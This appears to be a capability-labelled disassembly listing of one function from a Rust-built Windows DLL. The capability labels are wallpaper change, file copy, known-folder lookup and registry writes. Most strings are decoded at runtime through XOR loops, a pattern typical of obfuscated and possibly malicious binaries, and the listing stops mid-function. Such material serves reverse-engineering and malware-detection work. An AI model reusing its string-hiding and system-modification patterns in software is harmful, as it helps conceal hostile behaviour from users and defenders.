Function at 0x18000b570
Capabilities:
Change the wallpaper
Copy file
Get common file path
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2528
call fcn.1800d63d0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2490], xmm6
mov qword [rbp + 0x2488], 0xfffffffffffffffe
mov r12, rdx
mov rdi, rcx
lea rax, [0x1800db233]
lea rsi, [rbp - 0x30]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xd6e3858c72222af2
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.180004afc
and dword [rsi], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc2a0]
push 4
pop rdx
test r9b, 1
je 0x18000b62c
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
lea r9d, [r11 + r10]
add r9d, 0x6a000000
xor r9d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r9d
xor r9d, r9d
mov r8, rdx
jmp 0x18000b5e2
mov eax, dword [rbp - 0x30]
lea r13, [rbp + 0x2150]
mov dword [r13], eax
push 4
pop r14
mov rcx, r12
mov rdx, r13
mov r8, r14
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000c175
mov r15, rax
mov rbx, rdx
mov qword [rbp + 0x2480], rdi
lea rax, [0x1800dad96]
lea rdi, [rbp - 0x30]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xa6c454fffd4666f3
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.180004cae
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x7003
xor cl, 0x7a
mov byte [rdi + 2], cl
mov word [rdi], ax
push 3
pop r9
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.18007ebca
test al, al
je 0x18000b7c7
lea rdx, [0x1800dc2af]
push 7
pop r8
mov rcx, r12
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000ce9d
mov r14, rax
mov rbx, rdx
lea rax, [0x1800d9921]
lea r15, [rbp - 0x30]
mov qword [r15], rax
mov rcx, qword [r15]
movabs rax, 0x1bc21308ce554e5c
mov qword [r15], rax
mov rdx, qword [r15]
call fcn.180004bb8
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x4654
xor cl, 0x5a
lea rsi, [rbp + 0x2300]
mov byte [rsi + 2], cl
mov word [rsi], ax
push 3
pop r8
mov rcx, r15
mov rdx, rsi
call fcn.1800c6d90
lea rax, [0x1800d222d]
lea r12, [rbp + 0x2158]
mov qword [r12 - 8], rax
mov rcx, qword [r12 - 8]
movabs rax, 0x57ac4d0d9e3dce87
mov qword [r12 - 8], rax
mov rdx, qword [r12 - 8]
call fcn.18000484b
movzx eax, word [rax]
xor eax, 0x57fc
lea r15, [rbp + 0x2090]
mov word [r15], ax
mov qword [r12 - 8], r15
push 2
pop rax
mov qword [r12], rax
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x20], rax
push 1
pop rbx
cmp rbx, 3
je 0x18000b924
mov qword [rbp + 0x2170], rbx
mov rdx, qword [r12 - 8]
mov r8, qword [r12]
mov rcx, rdi
call fcn.1800c6e60
inc rbx
add r12, 0x10
jmp 0x18000b79c
mov rsi, rbx
lea rax, [fcn.1800da6e2]
lea rbx, [rbp - 0x30]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xcc0996173548baf4
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.180004a06
movzx eax, word [rax]
xor eax, 0x6a50
mov word [rbx], ax
push 2
pop rdi
mov rcx, r15
mov rdx, rsi
mov r8, rbx
mov r9, rdi
call fcn.18007ebca
test al, al
je 0x18000b9a5
lea rdx, [0x1800dc2af]
push 7
pop r8
mov rcx, r12
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000ce9d
mov rsi, rax
mov rdi, rdx
lea rax, [0x1800ceb2c]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x819d864501d746c5
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.18000492c
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc44e]
push 8
pop rdx
test r9b, 1
je 0x18000bc7f
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rbx, r8
or rbx, 3
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 4
movzx r14d, byte [r14 + rcx]
mov r15, r8
or r15, 5
movzx r15d, byte [r15 + rcx]
mov r12, r8
or r12, 6
mov r13, r8
or r13, 7
movzx r12d, byte [r12 + rcx]
movzx r13d, byte [r13 + rcx]
shl r13, 0x38
shl r12, 0x30
or r12, r13
shl r15, 0x28
shl r14, 0x20
shl rbx, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rbx
or r9, r14
or r9, r15
or r9, r12
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000b87c
lea rdi, [rbp + 0x2150]
lea rbx, [rbp - 0x30]
mov rcx, rdi
mov rdx, rbx
call fcn.1800c21c0
mov rcx, rbx
call fcn.180003c48
cmp qword [rdi], 0
je 0x18000bf5b
mov rax, qword [rbp + 0x2180]
lea rsi, [rbp - 0x30]
mov qword [rsi + 0x30], rax
movups xmm0, xmmword [rbp + 0x2150]
movups xmm1, xmmword [rbp + 0x2160]
movups xmm2, xmmword [rbp + 0x2170]
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x28]
lea rdi, [rbp + 0x2090]
mov rcx, rdi
call fcn.1800155a0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rbx, [rbp + 0x2300]
jmp 0x18000bd2b
mov qword [rbp + 0x2470], rsi
mov qword [rbp + 0x2478], r12
push 1
pop rsi
push 8
pop r12
lea rax, [0x1800d256e]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0xdb2bfba3b61742c8
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.1800048f7
and dword [rbp - 0x2d], 0
and dword [rbp - 0x30], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1800dc2b6]
test r8b, 1
je 0x18000ba49
movzx r8d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r10, rdx
or r10, 3
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r9d
xor r8d, r8d
mov rdx, r14
jmp 0x18000b9f4
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x587a
xor cl, 0xc8
lea r14, [rbp - 0x30]
mov edx, dword [r14]
mov dword [r14], edx
mov byte [r14 + 6], cl
mov word [r14 + 4], ax
push 7
pop r9
mov rcx, r15
mov rdx, qword [rbp + 0x2470]
mov r8, r14
call fcn.18007ebca
test al, al
je 0x18000bd7b
call fcn.180034dfb
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lea r8, [rcx + 1]
mov qword [rax], r8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2308], xmm0
and qword [rbp + 0x2318], 0
lea rax, [0x180137030]
mov qword [rbp + 0x2300], rax
mov qword [rbp + 0x2320], rcx
mov qword [rbp + 0x2328], rdx
lea rdx, str.extensionsdir
push reloc.WS2_32.dll_ioctlsocket
pop r8
mov rsi, qword [rbp + 0x2478]
mov rcx, rsi
call fcn.180048430
lea rdi, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
cmp byte [rax], 6
mov r15, rdi
jne 0x18000bb03
mov rdi, qword [rax + 8]
mov r15, qword [rax + 0x18]
shl r15, 5
add r15, rdi
xor eax, eax
mov qword [rbp + 0x2468], rax
lea r12, [rbp + 0x2300]
xor eax, eax
mov qword [rbp + 0x2470], rax
mov qword [rbp + 0x2460], r15
cmp rdi, r15
je 0x18000bfb8
mov rcx, rdi
call fcn.1800482a5
test rax, rax
je 0x18000c018
mov r14, rax
mov r13, rdx
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rcx, qword [rbp + 0x2320]
mov rdx, qword [rbp + 0x2328]
mov r8, rax
mov r9, r13
call fcn.180004092
mov rbx, rax
mov rcx, r12
mov rdx, rax
lea r8, [rbp - 0x30]
call fcn.18000571d
test rax, rax
jne 0x18000bc26
mov rsi, qword [rbp + 0x2300]
mov r12, qword [rbp + 0x2308]
mov rcx, rsi
mov rdx, r12
mov r8, rbx
call fcn.18005a3eb
movzx r15d, byte [rsi + rax]
and r15d, 1
cmp qword [rbp + 0x2470], 0
jne 0x18000bbb3
test r15b, r15b
jne 0x18000bc2f
mov rdx, qword [rbp + 0x2470]
sub rdx, r15
mov rcx, rdx
mov qword [rbp + 0x2470], rdx
mov qword [rbp + 0x2310], rdx
shr rbx, 0x39
lea rcx, [rax - 0x10]
and rcx, r12
mov byte [rsi + rax], bl
mov byte [rcx + rsi + 0x10], bl
mov rdx, qword [rbp + 0x2468]
inc rdx
mov rcx, rdx
mov qword [rbp + 0x2468], rdx
mov qword [rbp + 0x2318], rdx
shl rax, 4
mov rcx, rsi
sub rcx, rax
neg rax
mov qword [rsi + rax - 0x10], r14
mov qword [rcx - 8], r13
mov rsi, qword [rbp + 0x2478]
mov r15, qword [rbp + 0x2460]
lea r12, [rbp + 0x2300]
add rdi, 0x20
jmp 0x18000bb23
lea rcx, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
call fcn.1800d7040
mov rsi, qword [rbp + 0x2300]
mov r12, qword [rbp + 0x2308]
mov rcx, rsi
mov rdx, r12
mov r8, rbx
call fcn.18005a3eb
mov rcx, qword [rbp + 0x2310]
mov qword [rbp + 0x2470], rcx
mov rcx, qword [rbp + 0x2318]
mov qword [rbp + 0x2468], rcx
jmp 0x18000bbb3
movzx eax, word [rax + 8]
xor eax, 0xa397
lea r14, [rbp - 0x30]
mov rcx, qword [r14]
lea rbx, [rbp + 0x2300]
mov qword [rbx], rcx
mov word [rbx + 8], ax
push reloc.WS2_32.dll_ioctlsocket
pop r8
mov rcx, r14
mov rdx, rbx
call fcn.1800c6d90
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.1800c6e60
lea rsi, [rbp + 0x2150]
mov rcx, rsi
mov rdx, r14
call fcn.1800c21c0
mov rcx, r14
call fcn.180003c48
cmp qword [rsi], 0
je 0x18000c188
mov rax, qword [rbp + 0x2180]
lea rsi, [rbp - 0x30]
mov qword [rsi + 0x30], rax
movups xmm0, xmmword [rbp + 0x2150]
movups xmm1, xmmword [rbp + 0x2160]
movups xmm2, xmmword [rbp + 0x2170]
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x28]
lea rdi, [rbp + 0x2090]
mov rcx, rdi
call fcn.1800155a0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rbx
call fcn.1800155a0
mov rcx, rdi
mov rdx, rbx
call fcn.180015050
mov rax, qword [rdi + 0x10]
lea rbx, [rbp + 0x1fd0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rdi]
movaps xmmword [rbx], xmm0
lea rcx, [rbp + 0x22a0]
mov rdx, rbx
call fcn.18000545f
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.180003f9b
mov rcx, rsi
call fcn.180003b26
jmp 0x18000c1e4
mov qword [rbp + 0x2468], rdi
mov qword [rbp + 0x2460], rsi
lea rax, [0x1800ccb20]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x9554da7a5e9be4b9
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004be5
and qword [rbp - 0x30], 0
mov r8b, 1
xor esi, esi
lea rcx, [0x1800dc314]
test r8b, 1
je 0x18000be66
movzx r9d, byte [rsi + rcx]
mov r8, rsi
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rsi
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rsi
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rsi
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, rsi
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r13, rsi
or r13, 6
mov rdx, rsi
or rdx, 7
movzx r13d, byte [r13 + rcx]
movzx edx, byte [rdx + rcx]
shl rdx, 0x38
shl r13, 0x30
or r13, rdx
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r13
xor r8, qword [rax + rsi]
mov qword [rbp + rsi - 0x30], r8
xor r8d, r8d
mov rsi, r12
jmp 0x18000bdc0
mov al, byte [rax + 8]
xor al, 0x73
mov rcx, qword [rbp - 0x30]
lea r8, [rbp + 0x2150]
mov qword [r8], rcx
mov byte [r8 + 8], al
push 9
pop r9
mov rcx, r15
mov rsi, qword [rbp + 0x2470]
mov rdx, rsi
call fcn.18007ebca
test al, al
je 0x18000c067
lea rdx, [0x180130ae8]
push 3
pop r8
mov rcx, qword [rbp + 0x2478]
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000ce9d
mov rsi, rax
mov rdi, rdx
lea r9, [rbp + 0x2150]
and qword [r9], 0
lea rcx, [0x1800e02a8]
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x18000bf21
mov rcx, qword [rbp + 0x2150]
call sub.KERNEL32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rbp + 0x2150]
lea rbx, [rbp - 0x30]
mov rcx, rbx
call fcn.1800ad4d0
mov rcx, qword [rbp + 0x2150]
call sub.ole32.dll_CoTaskMemFree
cmp byte [rbx + 0x18], 2
jne 0x18000cecf
lea rcx, str.no_cache_dirwallpaperno_file_path
push 0xc
pop rdx
call fcn.180014ed0
mov r12, rax
lea rsi, fcn.180014e80
mov rdi, qword [rbp + 0x2480]
test r12, r12
je 0x18000c6c4
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], rsi
and qword [rdi], 0
jmp 0x18000ceb4
mov rax, qword [rbp + 0x2158]
mov qword [rbp + 0x2090], rax
mov qword [rbp + 0x2300], r15
lea rax, str.Error:
lea rdx, [rbp - 0x30]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1800b0f80]
mov qword [rbp + 0x2308], rcx
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rax
lea rcx, [rbp + 0x22a0]
call fcn.18000454a
mov rcx, qword [rbp + 0x2090]
jmp 0x18000c1df
lea rdx, [0x1800dc2c7]
push 3
pop rdi
mov rcx, rsi
mov r8, rdi
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000c018
mov r8, rdx
lea rsi, [rbp - 0x30]
lea r9, [rbp + 0x2300]
mov rcx, rsi
mov rdx, rax
call fcn.18000ea83
mov rax, qword [rsi]
test rax, rax
je 0x18000c446
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp + 0x2480]
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
and qword [rdx], 0
jmp 0x18000c02f
lea rdx, [0x1800dc2a4]
push 0xb
pop r8
mov rcx, qword [rbp + 0x2480]
call fcn.180001051
mov r8, qword [rbp + 0x2308]
test r8, r8
je 0x18000ceb4
mov rdx, qword [rbp + 0x2300]
lea rsi, [rbp - 0x30]
mov rcx, rsi
call fcn.180005822
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call fcn.1800047f2
jmp 0x18000ceb4
lea rax, [0x1800d5fd9]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0xb3a4b22fd1afc90e
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.1800048d4
and dword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc31d]
push 4
pop rdx
mov rdi, qword [rbp + 0x2480]
mov rbx, qword [rbp + 0x2478]
test r9b, 1
je 0x18000c0f9
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
lea r9d, [r11 + r10]
add r9d, 0x45000000
xor r9d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r9d
xor r9d, r9d
mov r8, rdx
jmp 0x18000c0af
lea r14, [rbp - 0x30]
mov eax, dword [r14]
mov dword [r14], eax
mov rdx, rsi
push 4
pop rsi
mov rcx, r15
mov r8, r14
mov r9, rsi
call fcn.18007ebca
test al, al
je 0x18000c205
lea rdx, [0x1800dc321]
push 4
pop r8
mov rcx, rbx
call fcn.180048430
mov rcx, rax
call fcn.1800482a5
test rax, rax
je 0x18000c175
mov rsi, rax
mov qword [rbp + 0x2470], rdx
lea rdx, [0x1800e02b8]
lea rbx, [rbp + 0x2090]
mov rcx, rbx
call fcn.180021ae5
cmp byte [rbx + 0x18], 2
jne 0x18000c82f
mov byte [rbp + 0x108], 2
jmp 0x18000c8f9
lea rdx, [0x1800dc2a4]
push 0xb
pop r8
mov rcx, rdi
jmp 0x18000ceaf
mov rax, qword [rbp + 0x2158]
lea rsi, [rbp + 0x2090]
mov qword [rsi], rax
mov qword [rbp + 0x2300], rsi
lea rax, str.Error:
lea rdx, [rbp - 0x30]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1800b0f80]
mov qword [rbp + 0x2308], rcx
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rax
lea rcx, [rbp + 0x22a0]
call fcn.18000454a
mov rcx, qword [rsi]
call fcn.180003c0c
mov rax, qword [rbp + 0x22b0]
mov rcx, qword [rbp + 0x2480]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x22a0]
movups xmmword [rcx], xmm0
jmp 0x18000ceb4
lea rax, [0x1800d3e43]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x3db9de163bd1de43
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004a2a
and dword [rbp - 0x2d], 0
and dword [rbp - 0x30], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1800dc325]
test r8b, 1
je 0x18000c294
movzx r8d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r10, rdx
or r10, 3
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r9d
xor r8d, r8d
mov rdx, rsi
jmp 0x18000c23f
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xf74b
xor cl, 0x44
lea rsi, [rbp - 0x30]
mov edx, dword [rsi]
mov dword [rsi], edx
mov byte [rsi + 6], cl
mov word [rsi + 4], ax
push 7
pop r9
mov rcx, r15
mov rdx, qword [rbp + 0x2470]
mov r8, rsi
call fcn.18007ebca
test al, al
je 0x18000c2f2
mov edx, 0x104
mov rcx, rsi
call fcn.180052988
cmp byte [rsi + 0x18], 2
jne 0x18000cbe3
lea rdx, str.cant_get_path
push 0xe
jmp 0x18000c17e
lea rax, [0x1800d694a]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x4320d79764ba5555
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.1800049b7
mov byte [rbp - 0x2c], 0
and dword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc32c]
push 4
pop rdx
test r9b, 1
je 0x18000c383
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
mov rsi, r8
or rsi, 3
movzx r11d, byte [r11 + rcx]
movzx esi, byte [rsi + rcx]
shl esi, 0x18
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
or r10d, r11d
or r10d, esi
xor r10d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x18000c330
mov al, byte [rax + 4]
xor al, 0xec
lea rdi, [rbp - 0x30]
mov ecx, dword [rdi]
mov byte [rdi + 4], al
mov dword [rdi], ecx
push 5
pop r9
mov rcx, r15
mov rdx, qword [rbp + 0x2470]
mov r8, rdi
call fcn.18007ebca
test al, al
je 0x18000cd44
lea rax, [0x1800d82c0]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x1612e47d677b0fa1
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004c3e
mov byte [rbp - 0x2c], 0
and dword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc331]
push 4
pop rdx
test r9b, 1
je 0x18000cd72
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
mov rsi, r8
or rsi, 3
movzx r11d, byte [r11 + rcx]
movzx esi, byte [rsi + rcx]
shl esi, 0x18
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
or r10d, r11d
or r10d, esi
xor r10d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x18000c3ef
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x2410], eax
lea rax, [0x1800d7678]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x752634168c27fad8
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004988
and dword [rbp - 0x28], 0
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc300]
push 8
pop rdx
test r9b, 1
je 0x18000c536
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rbx, r8
or rbx, 3
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 4
movzx r14d, byte [r14 + rcx]
mov r15, r8
or r15, 5
movzx r15d, byte [r15 + rcx]
mov r13, r8
or r13, 7
mov r12, r8
or r12, 6
movzx r12d, byte [r12 + rcx]
movzx r13d, byte [r13 + rcx]
shl r13, 0x38
shl r12, 0x30
or r12, r13
shl r15, 0x28
shl r14, 0x20
shl rbx, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rbx
or r9, r14
or r9, r15
or r9, r12
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000c48e
push 8
pop rdx
cmp rdx, 0xb
ja 0x18000c567
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xe0000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r8d
add rdx, 4
jmp 0x18000c539
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0x5a15
mov word [rbp - 0x24], ax
xor cl, 0xbe
mov byte [rbp - 0x22], cl
mov rax, qword [rbp - 0x30]
lea rcx, [rbp + 0x22a0]
mov qword [rcx], rax
mov rax, qword [rbp - 0x29]
mov qword [rcx + 7], rax
mov qword [rbp + 0x1fd0], rcx
mov qword [rbp + 0x1fd8], recv
lea rax, [0x1800db3db]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x19fff37dd8c46269
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004876
mov byte [rbp - 0x2c], 0
and dword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc30f]
push 4
pop rdx
test r9b, 1
je 0x18000c637
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 2
mov rbx, r8
or rbx, 3
movzx r11d, byte [r11 + rcx]
movzx ebx, byte [rbx + rcx]
shl ebx, 0x18
shl r11d, 0x10
shl r10d, 8
or r10d, r9d
or r10d, r11d
or r10d, ebx
xor r10d, dword [rax + r8]
mov dword [rbp + r8 - 0x30], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x18000c5e4
mov al, byte [rax + 4]
xor al, 2
mov ecx, dword [rbp - 0x30]
lea rdx, [rbp + 0x2438]
mov byte [rdx + 4], al
mov dword [rdx], ecx
lea rax, [rbp + 0x2090]
mov qword [rax], rdx
lea rcx, [rbp + 0x1fd0]
mov qword [rbp - 0x30], rcx
lea rcx, [0x1800161b0]
mov qword [rbp - 0x28], rcx
lea rdx, [rbp + 0x2410]
mov qword [rbp - 0x20], rdx
lea rdx, [fcn.18001bdd0]
mov qword [rbp - 0x18], rdx
lea r8, str._rustc_8ede3aae28fe6e4d52b38157d7bfe0d3bceef225librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
lea rdx, [rbp + 0x2150]
mov qword [rdx], r8
mov qword [rax + 8], 5
mov qword [rdx + 8], rdi
and qword [rdx + 0x20], 0
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rdi
mov rcx, qword [rbp + 0x2480]
call fcn.18000454a
jmp 0x18000c02f
lea rax, [0x1800cdcd8]
mov qword [rbp - 0x30], rax
mov rcx, qword [rbp - 0x30]
movabs rax, 0x1eb5bcd6d385227f
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp - 0x30]
call fcn.180004cfc
and dword [rbp - 0x28], 0
and qword [rbp - 0x30], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1800dc39f]
push 8
pop rdx
test r9b, 1
je 0x18000c7a8
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, r8
or r14, 6
mov r15, r8
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r14
xor r9, qword [rax + r8]
mov qword [rbp + r8 - 0x30], r9
xor r9d, r9d
mov r8, rdx
jmp 0x18000c703
push 8
pop rdx
mov rsi, qword [rbp + 0x2480]
cmp rdx, 0xb
ja 0x18000c7e0
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xe0000000
xor r8d, dword [rax + rdx]
mov dword [rbp + rdx - 0x30], r8d
add rdx, 4
jmp 0x18000c7b2
mov al, byte [rax + 0xc]
xor al, 0x1f
mov byte [rbp - 0x24], al
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x2150], rax
mov rax, qword [rbp - 0x2b]
mov qword [rbp + 0x2155], rax
push 0xd
pop rcx
call fcn.1800cec71
mov rcx, qword [rbp + 0x2150]
mov r8, qword [rbp + 0x2155]
mov qword [rax], rcx
mov qword [rax + 5], r8
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], recv
jmp 0x18000ceb4
lea rdx, [0x1800e02c8]
lea rbx, [rbp + 0x2300]
mov rcx, rbx
call fcn.180021ae5
lea rcx, [rbp + 0x2320]
lea rdx, [0x1800e02d8]
call fcn.180021ae5
lea rcx, [rbp + 0x2340]
lea rdx, [0x1800e02e8]
call fcn.180021ae5
lea rcx, [rbp + 0x2360]
lea rdx, [0x1800e02f8]
call fcn.180021ae5
lea rcx, [rbp + 0x70]
lea rdx, [0x1800e0308]
call fcn.180021ae5
lea rcx, [rbp + 0x90]
lea rdx, [0x1800e0318]
call fcn.180021ae5
lea rcx, [rbp + 0xb0]
lea rdx, [0x1800e0328]
call fcn.180021ae5
lea r15, [rbp + 0xd0]
lea rdx, [0x1800e0338]
